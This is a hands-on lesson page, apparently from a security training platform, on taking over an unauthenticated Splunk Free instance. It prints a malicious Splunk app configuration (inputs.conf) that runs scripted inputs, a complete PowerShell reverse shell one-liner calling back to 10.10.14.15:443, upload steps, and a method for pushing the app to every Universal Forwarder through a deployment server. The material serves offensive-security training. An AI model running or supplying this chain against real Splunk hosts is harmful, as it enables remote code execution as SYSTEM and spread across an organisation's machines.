A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.
A sysadmin installed Splunk Enterprise trial two years ago to evaluate it. Never bought a license. Forgot it existed. After 60 days, it converted to Splunk Free. No authentication. No role management. Anyone who finds port 8000 gets full admin access.
free license; remote login disabled—that means the trial expired and converted. No credentials needed. Just browse to the URL.# inputs.conf - tells Splunk to run our script every 10 seconds[script://./bin/rev.py]disabled = 0interval = 10sourcetype = shell[script://.\bin\run.bat]disabled = 0sourcetype = shellinterval = 10
# run.ps1 - PowerShell reverse shell one-liner$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443)$stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)$sendback = (iex $data 2>&1 | Out-String)$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()
Upload the tarball through Settings → Apps → Install app from file. The moment you click Upload, the application status switches to Enabled and the scripted input fires. Ten seconds later, your listener catches a connection.
If the compromised Splunk host is a deployment server, you can push the malicious app to ALL hosts with Universal Forwarders installed. Place the app in $SPLUNK_HOME/etc/deployment-apps/ on the compromised host. Windows forwarders don't have Python—use PowerShell.
Splunk has only 47 CVEs. It patches fast. But you don't need a CVE when the application hands you SYSTEM through its own scripted input feature. The next time you see port 8000 in a scan, check if authentication is actually enforced.
Finish the lesson once you have worked through the material. This awards ★ 40 XP.